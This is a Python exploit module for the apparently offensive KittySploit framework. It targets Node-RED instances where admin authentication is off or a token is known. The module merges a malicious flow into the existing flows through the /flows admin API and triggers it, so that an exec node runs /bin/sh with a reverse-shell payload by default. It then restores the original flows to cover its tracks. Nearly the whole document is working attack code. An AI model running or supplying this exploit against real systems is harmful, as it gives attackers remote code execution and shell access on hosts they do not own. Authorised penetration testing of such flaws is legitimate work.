Node-RED Unauthenticated Flow RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Node-RED unauthenticated flow deployment RCE."""

import json

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Node-RED Unauthenticated Flow RCE',
        'description': (
            'Deploys a malicious Node-RED flow via the admin API when authentication '
            'is disabled or credentials are known. Uses an inject + exec node chain to '
            'run the configured reverse CMD payload. Complements CVE-2026-71269 detection.'
        ),
        'author': ['KittySploit Team'],
        'platform': Platform.LINUX,
        'arch': [Arch.CMD],
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nodered.org/docs/admin/api/',
        ],
        'tags': ['node-red', 'nodered', 'flow', 'rce', 'unauth', 'iot'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 4,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'requires': {'tech_hints_any': ['node-red', 'nodered']},
            'chain': {
                'suggested_followups': ['scanner/http/nodered_cve_2026_71269_detect'],
            },
        },
    }

    port = OptPort(1880, 'Node-RED HTTP port', required=True)
    ssl = OptBool(False, 'Use HTTPS', required=True)
    token = OptString('', 'Bearer token if adminAuth enabled', required=False)
    command = OptString('', 'Command instead of payload', required=False)
    cleanup = OptBool(True, 'Remove deployed flow after exploit', required=False)

    def _admin_path(self, suffix: str) -> str:
        base = (self.path or '/').rstrip('/')
        if not suffix.startswith('/'):
            suffix = f'/{suffix}'
        return f'{base}{suffix}' if base else suffix

    def _headers(self) -> dict:
        h = {'Content-Type': 'application/json', 'Accept': 'application/json'}
        token = str(self.token or '').strip()
        if token:
            h['Authorization'] = f'Bearer {token}'
        return h

    def _build_flow(self, cmd: str) -> list:
        nid = self.random_text(8)
        eid = self.random_text(8)
        return [{
            'id': f'ks_tab_{nid}',
            'type': 'tab',
            'label': 'KittySploit',
        }, {
            'id': f'ks_inject_{nid}',
            'type': 'inject',
            'z': f'ks_tab_{nid}',
            'name': 'trigger',
            'props': [{'p': 'payload'}],
            'repeat': '',
            'crontab': '',
            'once': True,
            'onceDelay': 0.5,
            'topic': '',
            'payload': '',
            'payloadType': 'date',
            'x': 120,
            'y': 80,
            'wires': [[f'ks_exec_{eid}']],
        }, {
            'id': f'ks_exec_{eid}',
            'type': 'exec',
            'z': f'ks_tab_{nid}',
            'command': '/bin/sh',
            'addpay': False,
            'append': '',
            'useSpawn': False,
            'timer': '',
            'winHide': False,
            'oldrc': False,
            'name': 'ks-exec',
            'x': 320,
            'y': 80,
            'wires': [[], [], []],
            'arg': f'-c "{cmd.replace(chr(34), chr(92)+chr(34))}"',
        }]

    def check(self):
        r = self.http_request(method='GET', path=self._admin_path('/flows'), headers=self._headers(), allow_redirects=False)
        if r and r.status_code == 200:
            return {'vulnerable': True, 'reason': 'Node-RED /flows API accessible', 'confidence': 'high'}
        if r and r.status_code == 401 and str(self.token or '').strip():
            return {'vulnerable': True, 'reason': 'Node-RED API reachable with supplied token', 'confidence': 'medium'}
        settings = self.http_request(method='GET', path=self._admin_path('/settings'), allow_redirects=False)
        if settings and settings.status_code == 200 and 'Node-RED' in (settings.text or ''):
            return {'vulnerable': True, 'reason': 'Node-RED admin API detected', 'confidence': 'medium'}
        return {'vulnerable': False, 'reason': 'Node-RED flows API not accessible', 'confidence': 'medium'}

    def run(self):
        cmd = str(self.command or '').strip() or str(self.payload or '').strip()
        if not cmd:
            print_error('Set a payload or command option')
            return False
        print_status('Node-RED unauthenticated flow RCE')
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not vulnerable'))
            self.not_vulnerable()
            return False
        print_success(chk.get('reason', 'API accessible'))
        existing = self.http_request(method='GET', path=self._admin_path('/flows'), headers=self._headers(), allow_redirects=False)
        flows = []
        if existing and existing.status_code == 200:
            try:
                flows = json.loads(existing.text or '[]')
                if not isinstance(flows, list):
                    flows = []
            except Exception:
                flows = []
        malicious = self._build_flow(cmd)
        inject_id = malicious[1]['id']
        merged = flows + malicious
        print_status('Deploying malicious flow...')
        deploy = self.http_request(
            method='POST',
            path=self._admin_path('/flows'),
            headers=self._headers(),
            data=json.dumps(merged),
            allow_redirects=False,
        )
        if not deploy or deploy.status_code not in (200, 204):
            print_error(f'Flow deploy failed (HTTP {getattr(deploy, "status_code", "?")})')
            return False
        print_status('Triggering inject node...')
        self.http_request(
            method='POST',
            path=self._admin_path(f'/inject/{inject_id}'),
            headers=self._headers(),
            allow_redirects=False,
        )
        if self.cleanup and flows is not None:
            self.http_request(
                method='POST',
                path=self._admin_path('/flows'),
                headers=self._headers(),
                data=json.dumps(flows),
                allow_redirects=False,
            )
        print_success('Payload dispatched — check listener for session')
        self.vulnerable()
        return True